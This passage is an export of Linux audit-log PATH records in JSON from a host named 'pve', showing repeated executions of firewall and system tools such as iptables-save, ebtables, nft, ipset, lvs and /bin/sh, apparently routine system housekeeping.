{"@timestamp":1781965035990,"@rawstring":"node=pve type=PATH msg=audit(1781965035.990:63718): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035990,"@rawstring":"node=pve type=PATH msg=audit(1781965035.990:63718): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035984,"@rawstring":"node=pve type=PATH msg=audit(1781965035.984:63717): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035984,"@rawstring":"node=pve type=PATH msg=audit(1781965035.984:63717): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035978,"@rawstring":"node=pve type=PATH msg=audit(1781965035.978:63716): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035978,"@rawstring":"node=pve type=PATH msg=audit(1781965035.978:63716): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035970,"@rawstring":"node=pve type=PATH msg=audit(1781965035.970:63715): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035970,"@rawstring":"node=pve type=PATH msg=audit(1781965035.970:63715): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035963,"@rawstring":"node=pve type=PATH msg=audit(1781965035.963:63714): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035963,"@rawstring":"node=pve type=PATH msg=audit(1781965035.963:63714): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035958,"@rawstring":"node=pve type=PATH msg=audit(1781965035.958:63713): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035958,"@rawstring":"node=pve type=PATH msg=audit(1781965035.958:63713): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035944,"@rawstring":"node=pve type=PATH msg=audit(1781965035.944:63712): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035944,"@rawstring":"node=pve type=PATH msg=audit(1781965035.944:63712): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035936,"@rawstring":"node=pve type=PATH msg=audit(1781965035.936:63711): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035936,"@rawstring":"node=pve type=PATH msg=audit(1781965035.936:63711): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035933,"@rawstring":"node=pve type=PATH msg=audit(1781965035.933:63710): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035933,"@rawstring":"node=pve type=PATH msg=audit(1781965035.933:63710): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035929,"@rawstring":"node=pve type=PATH msg=audit(1781965035.929:63709): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035929,"@rawstring":"node=pve type=PATH msg=audit(1781965035.929:63709): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035928,"@rawstring":"node=pve type=PATH msg=audit(1781965035.928:63708): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035928,"@rawstring":"node=pve type=PATH msg=audit(1781965035.928:63708): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035927,"@rawstring":"node=pve type=PATH msg=audit(1781965035.927:63707): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035924,"@rawstring":"node=pve type=PATH msg=audit(1781965035.924:63706): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035924,"@rawstring":"node=pve type=PATH msg=audit(1781965035.924:63706): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035924,"@rawstring":"node=pve type=PATH msg=audit(1781965035.924:63706): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035916,"@rawstring":"node=pve type=PATH msg=audit(1781965035.916:63705): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035916,"@rawstring":"node=pve type=PATH msg=audit(1781965035.916:63705): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035910,"@rawstring":"node=pve type=PATH msg=audit(1781965035.910:63704): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035910,"@rawstring":"node=pve type=PATH msg=audit(1781965035.910:63704): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035905,"@rawstring":"node=pve type=PATH msg=audit(1781965035.905:63703): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035905,"@rawstring":"node=pve type=PATH msg=audit(1781965035.905:63703): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035898,"@rawstring":"node=pve type=PATH msg=audit(1781965035.898:63702): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035898,"@rawstring":"node=pve type=PATH msg=audit(1781965035.898:63702): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035892,"@rawstring":"node=pve type=PATH msg=audit(1781965035.892:63701): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965035892,"@rawstring":"node=pve type=PATH msg=audit(1781965035.892:63701): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965034453,"@rawstring":"node=pve type=PATH msg=audit(1781965034.453:63700): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965034453,"@rawstring":"node=pve type=PATH msg=audit(1781965034.453:63700): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965034418,"@rawstring":"node=pve type=PATH msg=audit(1781965034.418:63699): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965034418,"@rawstring":"node=pve type=PATH msg=audit(1781965034.418:63699): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965031553,"@rawstring":"node=pve type=PATH msg=audit(1781965031.553:63698): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965031553,"@rawstring":"node=pve type=PATH msg=audit(1781965031.553:63698): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965031553,"@rawstring":"node=pve type=PATH msg=audit(1781965031.553:63697): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965031553,"@rawstring":"node=pve type=PATH msg=audit(1781965031.553:63696): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965031548,"@rawstring":"node=pve type=PATH msg=audit(1781965031.548:63695): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965031548,"@rawstring":"node=pve type=PATH msg=audit(1781965031.548:63695): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965031548,"@rawstring":"node=pve type=PATH msg=audit(1781965031.548:63694): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965031548,"@rawstring":"node=pve type=PATH msg=audit(1781965031.548:63693): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965026540,"@rawstring":"node=pve type=PATH msg=audit(1781965026.540:63692): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965026540,"@rawstring":"node=pve type=PATH msg=audit(1781965026.540:63692): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965026540,"@rawstring":"node=pve type=PATH msg=audit(1781965026.540:63691): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965026540,"@rawstring":"node=pve type=PATH msg=audit(1781965026.540:63690): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965026533,"@rawstring":"node=pve type=PATH msg=audit(1781965026.533:63689): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965026533,"@rawstring":"node=pve type=PATH msg=audit(1781965026.533:63689): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965026533,"@rawstring":"node=pve type=PATH msg=audit(1781965026.533:63688): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965026533,"@rawstring":"node=pve type=PATH msg=audit(1781965026.533:63687): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025880,"@rawstring":"node=pve type=PATH msg=audit(1781965025.880:63686): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025880,"@rawstring":"node=pve type=PATH msg=audit(1781965025.880:63686): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025876,"@rawstring":"node=pve type=PATH msg=audit(1781965025.876:63685): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025876,"@rawstring":"node=pve type=PATH msg=audit(1781965025.876:63685): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025874,"@rawstring":"node=pve type=PATH msg=audit(1781965025.874:63684): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025874,"@rawstring":"node=pve type=PATH msg=audit(1781965025.874:63684): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025874,"@rawstring":"node=pve type=PATH msg=audit(1781965025.874:63683): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025870,"@rawstring":"node=pve type=PATH msg=audit(1781965025.870:63682): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025870,"@rawstring":"node=pve type=PATH msg=audit(1781965025.870:63682): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025870,"@rawstring":"node=pve type=PATH msg=audit(1781965025.870:63682): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025864,"@rawstring":"node=pve type=PATH msg=audit(1781965025.864:63681): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025864,"@rawstring":"node=pve type=PATH msg=audit(1781965025.864:63681): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025858,"@rawstring":"node=pve type=PATH msg=audit(1781965025.858:63680): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025858,"@rawstring":"node=pve type=PATH msg=audit(1781965025.858:63680): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025851,"@rawstring":"node=pve type=PATH msg=audit(1781965025.851:63679): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025851,"@rawstring":"node=pve type=PATH msg=audit(1781965025.851:63679): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025844,"@rawstring":"node=pve type=PATH msg=audit(1781965025.844:63678): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025844,"@rawstring":"node=pve type=PATH msg=audit(1781965025.844:63678): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025839,"@rawstring":"node=pve type=PATH msg=audit(1781965025.839:63676): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025839,"@rawstring":"node=pve type=PATH msg=audit(1781965025.839:63676): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025834,"@rawstring":"node=pve type=PATH msg=audit(1781965025.834:63675): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025834,"@rawstring":"node=pve type=PATH msg=audit(1781965025.834:63675): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025829,"@rawstring":"node=pve type=PATH msg=audit(1781965025.829:63674): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025829,"@rawstring":"node=pve type=PATH msg=audit(1781965025.829:63674): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025823,"@rawstring":"node=pve type=PATH msg=audit(1781965025.823:63673): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025823,"@rawstring":"node=pve type=PATH msg=audit(1781965025.823:63673): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025818,"@rawstring":"node=pve type=PATH msg=audit(1781965025.818:63672): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025818,"@rawstring":"node=pve type=PATH msg=audit(1781965025.818:63672): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025813,"@rawstring":"node=pve type=PATH msg=audit(1781965025.813:63671): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025813,"@rawstring":"node=pve type=PATH msg=audit(1781965025.813:63671): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025806,"@rawstring":"node=pve type=PATH msg=audit(1781965025.806:63670): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025806,"@rawstring":"node=pve type=PATH msg=audit(1781965025.806:63670): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025799,"@rawstring":"node=pve type=PATH msg=audit(1781965025.799:63669): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025799,"@rawstring":"node=pve type=PATH msg=audit(1781965025.799:63669): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025795,"@rawstring":"node=pve type=PATH msg=audit(1781965025.795:63668): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025795,"@rawstring":"node=pve type=PATH msg=audit(1781965025.795:63668): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025792,"@rawstring":"node=pve type=PATH msg=audit(1781965025.792:63667): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025792,"@rawstring":"node=pve type=PATH msg=audit(1781965025.792:63667): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025791,"@rawstring":"node=pve type=PATH msg=audit(1781965025.791:63666): item=1 